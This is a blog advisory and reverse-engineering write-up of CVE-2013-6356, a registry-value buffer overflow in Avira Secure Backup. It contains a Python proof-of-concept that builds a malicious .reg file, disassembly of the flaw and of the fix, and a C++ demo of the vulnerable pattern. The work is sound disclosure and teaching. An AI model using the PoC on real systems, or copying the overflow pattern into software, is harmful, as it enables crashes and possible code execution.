Julien Ahrens

Vulnerability Intel | ROP Gadget Hunter | Privacy Enthusiast | Full-time BugBounty hunter | @Hacker0x01 MVH | @SynackRedTeam member

CVE-2013-6356: Avira Secure Backup v1.0.0.1 Buffer Overflow - Anatomy of a Vulnerability

16 Nov 2013 » Advisory, Exploit

Hello Followers,

Avira is one of the leading Anti-Virus vendors and also the biggest one in Germany. Security is their daily business and they’ve done a quite nice job in hardening their products. But even the toughest software may be broken sometimes ;-). So, this time I’d like to present a common vulnerability with a really interesting (and uncommon) root cause.

Quoted from my official Full-Disclosure post:

A buffer overflow vulnerability has been identified in Avira Secure Backup v1.0.0.1 Build 3616.

The application loads the values of the Registry Keys “AutoUpdateDownloadFilename” and “AutoUpdateProgressFilename” from “HKEY_CURRENT_USER\Software\Avira Secure Backup” on startup but does not properly validate the length of the fetched values before using them in the further application context, which leads to a buffer overflow condition with possible persistent code execution.

The application queries the values via a RegQueryValueExW call and a fixed buffer pointer (lpData) and a fixed buffer size pointer (lpcbData). If the input string size is greater than the predefined size, the application uses a second RegQueryValueExW call with the new buffer size set to the length of the input string, but reuses the original buffer pointer (lpData), which has not been resized. This results in overwriting memory space inlcuding SEH - records.

An attacker needs to force the victim to import an arbitrary .reg file in order to exploit the vulnerability. Successful exploits can allow attackers to execute arbitrary code with the privileges of the user running the application. Failed exploits will result in a denial-of-service condition. The attack scenario is persistent, because the code is executed as long as the manipulated values are loaded into the Registry.

Crashing the application!

To exploit this vulnerability, the following script creates an arbitrary .reg file, which needs to be imported into the target registry.

#!/usr/bin/python

file="poc.reg"

junk1="\xCC" * 1240

poc="Windows Registry Editor Version 5.00\n\n"
poc=poc + "[HKEY_CURRENT_USER\Software\Avira Secure Backup]\n"
poc=poc + "\"AutoUpdateProgressFilename\"=\"" + junk1 + "\""

try:
    print "[*] Creating exploit file...\n";
    writeFile = open (file, "w")
    writeFile.write( poc )
    writeFile.close()
    print "[*] File successfully created!";
except:
    print "[!] Error while creating file!";

Starting the application results in EIP control:

cve-2013-6356-1

via overwritten SEH records:

cve-2013-6356-2

Sounds like a boring strcpy() overflow ?

After importing the arbitrary .reg file created by the Python script, the Call stack of the application looks like the following on crash-time:

cve-2013-6356-3

The last entry clearly shows that a return address has been overwritten by the PoC code indicating that the application flow might be controlled. The last call is a ntdll.memmove triggered somewhere from within the function at 0x0043F0D2.

The complete vulnerable code part located at this address:

0043F0D2  /$ 55             PUSH EBP
0043F0D3  |. 8BEC           MOV EBP,ESP
0043F0D5  |. 83EC 10        SUB ESP,10
0043F0D8  |. 53             PUSH EBX
0043F0D9  |. 56             PUSH ESI
0043F0DA  |. 8B35 14704E00  MOV ESI,DWORD PTR DS:[<&ADVAPI32.RegOpen>;  ADVAPI32.RegOpenKeyExW
0043F0E0  |. 57             PUSH EDI
0043F0E1  |. 8D45 F8        LEA EAX,DWORD PTR SS:[EBP-8]
0043F0E4  |. 50             PUSH EAX                                 ; /pHandle
0043F0E5  |. 68 19000200    PUSH 20019                               ; |Access
0043F0EA  |. 33DB           XOR EBX,EBX                              ; |
0043F0EC  |. 53             PUSH EBX                                 ; |Reserved => 0
0043F0ED  |. FF75 0C        PUSH DWORD PTR SS:[EBP+C]                ; |Subkey
0043F0F0  |. 885D FF        MOV BYTE PTR SS:[EBP-1],BL               ; |
0043F0F3  |. FF75 08        PUSH DWORD PTR SS:[EBP+8]                ; |hKey
0043F0F6  |. C745 F4 200800>MOV DWORD PTR SS:[EBP-C],820             ; |
0043F0FD  |. FFD6           CALL ESI                                 ; \RegOpenKeyExW
0043F0FF  |. 8B3D 10704E00  MOV EDI,DWORD PTR DS:[<&ADVAPI32.RegQuer>;  ADVAPI32.RegQueryValueExW
0043F105  |. 85C0           TEST EAX,EAX
0043F107  |. 75 2A          JNZ SHORT Avira_Se.0043F133
0043F109  |. 8D45 F4        LEA EAX,DWORD PTR SS:[EBP-C]
0043F10C  |. 50             PUSH EAX                                 ; /pBufSize
0043F10D  |. FF75 14        PUSH DWORD PTR SS:[EBP+14]               ; |Buffer
0043F110  |. 8D45 F0        LEA EAX,DWORD PTR SS:[EBP-10]            ; |
0043F113  |. 50             PUSH EAX                                 ; |pValueType
0043F114  |. 53             PUSH EBX                                 ; |Reserved => NULL
0043F115  |. FF75 10        PUSH DWORD PTR SS:[EBP+10]               ; |ValueName
0043F118  |. FF75 F8        PUSH DWORD PTR SS:[EBP-8]                ; |hKey
0043F11B  |. FFD7           CALL EDI                                 ; \RegQueryValueExW
0043F11D  |. 85C0           TEST EAX,EAX 
0043F11F  |. 75 04          JNZ SHORT Avira_Se.0043F125
0043F121  |. C645 FF 01     MOV BYTE PTR SS:[EBP-1],1
0043F125  |> FF75 F8        PUSH DWORD PTR SS:[EBP-8]                ; /hKey
0043F128  |. FF15 0C704E00  CALL DWORD PTR DS:[<&ADVAPI32.RegCloseKe>; \RegCloseKey
0043F12E  |. 385D FF        CMP BYTE PTR SS:[EBP-1],BL
0043F131  |. 75 3B          JNZ SHORT Avira_Se.0043F16E
0043F133  |> 8D45 F8        LEA EAX,DWORD PTR SS:[EBP-8]
0043F136  |. 50             PUSH EAX
0043F137  |. 68 19010200    PUSH 20119
0043F13C  |. 53             PUSH EBX
0043F13D  |. FF75 0C        PUSH DWORD PTR SS:[EBP+C]
0043F140  |. FF75 08        PUSH DWORD PTR SS:[EBP+8]
0043F143  |. FFD6           CALL ESI 
0043F145  |. 85C0           TEST EAX,EAX
0043F147  |. 75 25          JNZ SHORT Avira_Se.0043F16E
0043F149  |. 8D45 F4        LEA EAX,DWORD PTR SS:[EBP-C]
0043F14C  |. 50             PUSH EAX
0043F14D  |. FF75 14        PUSH DWORD PTR SS:[EBP+14]
0043F150  |. 8D45 F0        LEA EAX,DWORD PTR SS:[EBP-10]
0043F153  |. 50             PUSH EAX
0043F154  |. 53             PUSH EBX
0043F155  |. FF75 10        PUSH DWORD PTR SS:[EBP+10]
0043F158  |. FF75 F8        PUSH DWORD PTR SS:[EBP-8]
0043F15B  |. FFD7           CALL EDI  
0043F15D  |. 85C0           TEST EAX,EAX
0043F15F  |. 75 04          JNZ SHORT Avira_Se.0043F165
0043F161  |. C645 FF 01     MOV BYTE PTR SS:[EBP-1],1
0043F165  |> FF75 F8        PUSH DWORD PTR SS:[EBP-8]                ; /hKey
0043F168  |. FF15 0C704E00  CALL DWORD PTR DS:[<&ADVAPI32.RegCloseKe>; \RegCloseKey
0043F16E  |> 33C0           XOR EAX,EAX
0043F170  |. 385D FF        CMP BYTE PTR SS:[EBP-1],BL
0043F173  |. 5F             POP EDI
0043F174  |. 5E             POP ESI
0043F175  |. 0F95C0         SETNE AL
0043F178  |. 5B             POP EBX
0043F179  |. C9             LEAVE
0043F17A  \. C3             RETN

Looks like there is no common strcpy() ;-)…

Hunting the Bug!

The vulnerable code part needs to be divided into different parts:

0043F0D2  /$ 55             PUSH EBP
0043F0D3  |. 8BEC           MOV EBP,ESP
0043F0D5  |. 83EC 10        SUB ESP,10
0043F0D8  |. 53             PUSH EBX
0043F0D9  |. 56             PUSH ESI
0043F0DA  |. 8B35 14704E00  MOV ESI,DWORD PTR DS:[<&ADVAPI32.RegOpen>;  ADVAPI32.RegOpenKeyExW
0043F0E0  |. 57             PUSH EDI
0043F0E1  |. 8D45 F8        LEA EAX,DWORD PTR SS:[EBP-8]
0043F0E4  |. 50             PUSH EAX                                 ; /pHandle
0043F0E5  |. 68 19000200    PUSH 20019                               ; |Access
0043F0EA  |. 33DB           XOR EBX,EBX                              ; |
0043F0EC  |. 53             PUSH EBX                                 ; |Reserved => 0
0043F0ED  |. FF75 0C        PUSH DWORD PTR SS:[EBP+C]                ; |Subkey
0043F0F0  |. 885D FF        MOV BYTE PTR SS:[EBP-1],BL               ; |
0043F0F3  |. FF75 08        PUSH DWORD PTR SS:[EBP+8]                ; |hKey
0043F0F6  |. C745 F4 200800>MOV DWORD PTR SS:[EBP-C],820             ; |
0043F0FD  |. FFD6           CALL ESI                                 ; \RegOpenKeyExW

The first part queries the base key „HKEY_CURRENT_USER\Software\Avira Secure Backup“ using a CALL ESI (0x0043F0FD), which holds the function RegOpenKeyExW, that has been moved into ESI at 0x0043F0DA.

The function arguments for the RegOpenKeyExW can be found on the stack:

cve-2013-6356-4

The second part queries the final values:

0043F0FF  |. 8B3D 10704E00  MOV EDI,DWORD PTR DS:[<&ADVAPI32.RegQuer>;  ADVAPI32.RegQueryValueExW
0043F105  |. 85C0           TEST EAX,EAX
0043F107  |. 75 2A          JNZ SHORT Avira_Se.0043F133
0043F109  |. 8D45 F4        LEA EAX,DWORD PTR SS:[EBP-C]
0043F10C  |. 50             PUSH EAX                                 ; /pBufSize
0043F10D  |. FF75 14        PUSH DWORD PTR SS:[EBP+14]               ; |Buffer
0043F110  |. 8D45 F0        LEA EAX,DWORD PTR SS:[EBP-10]            ; |
0043F113  |. 50             PUSH EAX                                 ; |pValueType
0043F114  |. 53             PUSH EBX                                 ; |Reserved => NULL
0043F115  |. FF75 10        PUSH DWORD PTR SS:[EBP+10]               ; |ValueName
0043F118  |. FF75 F8        PUSH DWORD PTR SS:[EBP-8]                ; |hKey
0043F11B  |. FFD7           CALL EDI                                 ; \RegQueryValueExW

The function RegQueryValueExW is moved into EDI (0x0043F0FF) and later called (0x0043F11B) with the ValueName (first: “AutoUpdateProgressFilename” and in a second run “AutoUpdateDownloadFilename”)  of the vulnerable key. The function arguments for the RegQueryValueExW call on the stack are:

cve-2013-6356-5

Let’s have a look at a basic RegQueryValueExW function call and its arguments (http://msdn.microsoft.com/en-us/library/windows/desktop/ms724911(v=vs.85).aspx)

LONG WINAPI RegQueryValueEx(
  _In_         HKEY hKey,
  _In_opt_     LPCTSTR lpValueName,
  _Reserved_   LPDWORD lpReserved,
  _Out_opt_    LPDWORD lpType,
  _Out_opt_    LPBYTE lpData,
  _Inout_opt_  LPDWORD lpcbData
);

In the context of this vulnerability the two most important arguments are „lpData“ that stores a pointer to a buffer, where the input is placed to and „lpcbData“ which stores a pointer to a variable that holds the size of the buffer. This results in a correlated, logical function call like:

LONG WINAPI RegQueryValueEx("9C", "AutoUpdateProgressFilename", NULL, &[0012EC48], &[0012EC7C], &[0012EC4C])

The arguments can be found at the referenced addresses:
0x0012EC7C (aka lpData) is empty because it’s the target location where the buffer content will be stored:

cve-2013-6356-6

0x0012EC4C (aka lpcbData) contains a hex value of 820 – decimal for 2080. This value has been moved to memory at 0x0043F0F6:

cve-2013-6356-7

This means the target buffer has a length of 2080 bytes, which needs to be reduced by half, because this is a Unicode call that inserts a „0x00“ after each character, resulting in a total usable buffer size of 1040 chars.

0043F11D  |. 85C0           TEST EAX,EAX

After RegQueryValueExW is called, it stores its return-value into EAX. If the content of lpData is less or equal of the size stored in lpcbData, the function will exit with the return code 0, therefor EAX will hold the value 0. Using a TEST call at 0x0043F11D the application checks whether the value of EAX is 0, which means the call has exited normally.

But in this test case EAX holds the value „EA“:

cve-2013-6356-8

This return code means „ERROR_MORE_DATA“, which indicates that the parsed value from „AutoUpdateProgressFilename“ is too big for the buffer, resulting in the JNZ (0x0043F11F) being taken – since the TEST statement returns „false“:

0043F11F  |. 75 04          JNZ SHORT Avira_Se.0043F125
0043F121  |. C645 FF 01     MOV BYTE PTR SS:[EBP-1],1

This bypasses the instruction at 0x0043F121, which would move the value „1“ into EBP-1. Let’s have a look at the stored value at EBP-1 (0x0012EC57):

cve-2013-6356-9

EBP-1 holds „0“ and is not replaced by a „1“ which can be correlated to a simple „IF“ statement later. The application jumps to 0x0043F125:

0043F125  |> FF75 F8        PUSH DWORD PTR SS:[EBP-8]                ; /hKey
0043F128  |. FF15 0C704E00  CALL DWORD PTR DS:[<&ADVAPI32.RegCloseKe>; \RegCloseKey

…and closes the opened Reg-Key using a RegCloseKey call. The following code part is important for why this crash happens:

0043F125  |> FF75 F8        PUSH DWORD PTR SS:[EBP-8]                ; /hKey
0043F128  |. FF15 0C704E00  CALL DWORD PTR DS:[<&ADVAPI32.RegCloseKe>; \RegCloseKey

The application compares (0x0043F12E) the value at EBP-1 with BL. EBP-1 still holds „0“ and BL holds 0 too:

cve-2013-6356-10

This results in the next jump not being taken and the application continues to execute the next part:

0043F133  |> 8D45 F8        LEA EAX,DWORD PTR SS:[EBP-8]
0043F136  |. 50             PUSH EAX
0043F137  |. 68 19010200    PUSH 20119
0043F13C  |. 53             PUSH EBX
0043F13D  |. FF75 0C        PUSH DWORD PTR SS:[EBP+C]
0043F140  |. FF75 08        PUSH DWORD PTR SS:[EBP+8]
0043F143  |. FFD6           CALL ESI

The application CALLs ESI (0x0043F143) referencing RegOpenKeyExW to open the Registry key „ HKEY_CURRENT_USER\Software\Avira Secure Backup“ (0x0043F13D) again.

0043F149  |. 8D45 F4        LEA EAX,DWORD PTR SS:[EBP-C]
0043F14C  |. 50             PUSH EAX
0043F14D  |. FF75 14        PUSH DWORD PTR SS:[EBP+14]
0043F150  |. 8D45 F0        LEA EAX,DWORD PTR SS:[EBP-10]
0043F153  |. 50             PUSH EAX
0043F154  |. 53             PUSH EBX
0043F155  |. FF75 10        PUSH DWORD PTR SS:[EBP+10]
0043F158  |. FF75 F8        PUSH DWORD PTR SS:[EBP-8]
0043F15B  |. FFD7           CALL EDI

Then the application CALLs EDI (0x0043F15B) referencing RegQueryValueExW, but this time with different parameters, which can be found on the stack:

cve-2013-6356-11

The CALL arguments are pushed in reversed order onto the stack, resulting in the following logical function call, which is at first view exactly the same as in the first CALL.

LONG WINAPI RegQueryValueEx("9C", "AutoUpdateProgressFilename", NULL, &[0012EC48], &[0012EC7C], &[0012EC4C])

But this time the argument lpcbData has changed to a hex value of 9B2 (decimal=2482), which is exactly the length (+2 for terminators) of the input string from the PoC script. This means the attacker is able to control the lpcbData argument :-)! This new value has been set by the ReqQueryValueExW call at 0x0043F11B.
0x0012EC4C (aka lpcbData):

cve-2013-6356-12

But the application still uses the old memory space at 0x0012EC7C, which has not been resized at this point to store the data, which leads to attacker-controlled overwriting of memory space!

Reverse Engineering the Bug!

The root cause of this security vulnerability is the re-usage of the same memory address location for storing the lpData value and the fact that the attacker is able to control the size of the lpcbData variable without resizing lpcbData buffer-size on the application side. An exemplary C++ code snippet that demonstrates the vulnerability:

#include <windows.h>

void main()
{
    HKEY hKey = 0;
    DWORD pValueType = REG_SZ;
    char buffer[255] = {0};
    DWORD pBufsize = sizeof(buffer);

    if( RegOpenKeyEx( HKEY_CURRENT_USER, TEXT("Software\Avira Secure Backup"), 0, KEY_QUERY_VALUE, &hKey ) == ERROR_SUCCESS )
    {
        auto ret = RegQueryValueEx( hKey, TEXT("AutoUpdateProgressFilename"), 0, &pValueType, (LPBYTE)buffer, &pBufsize );
        if (RegQueryValueEx( hKey, TEXT("AutoUpdateProgressFilename"), 0, &pValueType, (LPBYTE)buffer, &pBufsize ) == ERROR_MORE_DATA)
        {
            DWORD pBufsize2 = sizeof(ret);
            RegQueryValueEx( hKey, TEXT("AutoUpdateProgressFilename"), 0, &pValueType, (LPBYTE)buffer, &pBufsize2 );
        }
    }
}

The first RegQueryValueEx call uses pBufsize which is sizeof(buffer) = 255. If the input value is bigger than the buffer, the RegQueryValueEx call returns ERROR_MORE_DATA. If this happens, a second RegQueryValueEx - call uses the same buffer pointer (buffer), but with a new buffer size pointer (pBufsize2), which is sizeof (ret) = the size of the previous input buffer.

Reverse Engineering the Fix!

I’m always skeptical. Avira released v1.0.0.2 of their Secure Backup product, let’s see how they’ve fixed the issue:

0043F8B2  /$ 55             PUSH EBP
0043F8B3  |. 8BEC           MOV EBP,ESP
0043F8B5  |. 83EC 0C        SUB ESP,0C
0043F8B8  |. 53             PUSH EBX
0043F8B9  |. 8D45 FC        LEA EAX,DWORD PTR SS:[EBP-4]
0043F8BC  |. 50             PUSH EAX                                 ; /pHandle
0043F8BD  |. 68 19000200    PUSH 20019                               ; |Access
0043F8C2  |. 6A 00          PUSH 0                                   ; |Reserved = 0
0043F8C4  |. FF75 0C        PUSH DWORD PTR SS:[EBP+C]                ; |Subkey
0043F8C7  |. 32DB           XOR BL,BL                                ; |
0043F8C9  |. FF75 08        PUSH DWORD PTR SS:[EBP+8]                ; |hKey
0043F8CC  |. C745 F8 200800>MOV DWORD PTR SS:[EBP-8],820             ; |
0043F8D3  |. FF15 14804E00  CALL DWORD PTR DS:[<&ADVAPI32.RegOpenKey>; \RegOpenKeyExW
0043F8D9  |. 85C0           TEST EAX,EAX
0043F8DB  |. 75 28          JNZ SHORT Avira_Se.0043F905
0043F8DD  |. 8D45 F8        LEA EAX,DWORD PTR SS:[EBP-8]
0043F8E0  |. 50             PUSH EAX                                 ; /pBufSize
0043F8E1  |. FF75 14        PUSH DWORD PTR SS:[EBP+14]               ; |Buffer
0043F8E4  |. 8D45 F4        LEA EAX,DWORD PTR SS:[EBP-C]             ; |
0043F8E7  |. 50             PUSH EAX                                 ; |pValueType
0043F8E8  |. 6A 00          PUSH 0                                   ; |Reserved = NULL
0043F8EA  |. FF75 10        PUSH DWORD PTR SS:[EBP+10]               ; |ValueName
0043F8ED  |. FF75 FC        PUSH DWORD PTR SS:[EBP-4]                ; |hKey
0043F8F0  |. FF15 10804E00  CALL DWORD PTR DS:[<&ADVAPI32.RegQueryVa>; \RegQueryValueExW
0043F8F6  |. 85C0           TEST EAX,EAX
0043F8F8  |. 75 02          JNZ SHORT Avira_Se.0043F8FC
0043F8FA  |. FEC3           INC BL
0043F8FC  |> FF75 FC        PUSH DWORD PTR SS:[EBP-4]                ; /hKey
0043F8FF  |. FF15 0C804E00  CALL DWORD PTR DS:[<&ADVAPI32.RegCloseKe>; \RegCloseKey
0043F905  |> 33C0           XOR EAX,EAX
0043F907  |. 84DB           TEST BL,BL
0043F909  |. 0F95C0         SETNE AL
0043F90C  |. 5B             POP EBX
0043F90D  |. C9             LEAVE
0043F90E  \. C3             RETN

Yay - the code part became smaller ;-).

The buffer size (lpcbData) is still 2080 (decimal), but the IF statement and the second RegQueryValueExW call is missing:

cve-2013-6356-13

…resulting in a fixed vulnerability.

Some last words about the exploitability!

  1. It’s a unicode based vulnerability (RegQueryValueExW)

  2. SafeSEH is in place to prevent the misusage of the overwritten SEH records:

cve-2013-6356-14

I didn’t take a deeper look at how to bypass the SafeSEH constellation, because finding the root-cause is always more important…but if you have a smart idea on how to beneficially exploit this vulnerability, leave a message below this post :-).

Some very last words about the disclosure process!

I’ve reported this flaw on 3rd November 2013 and the updated version was released on 13th November 2013. It has taken Avira only 10 days to fix this issue and release an update. WOW! Quite fast!!! You’re now on the second place on my fastest-vendor-patch-list (1st place is still Nullsoft with a 5-day patch).

I’d like to thank the Avira Technical Support for the very friendly and always professional way of dealing with my report. Another shiny example how vulnerability coordination really works!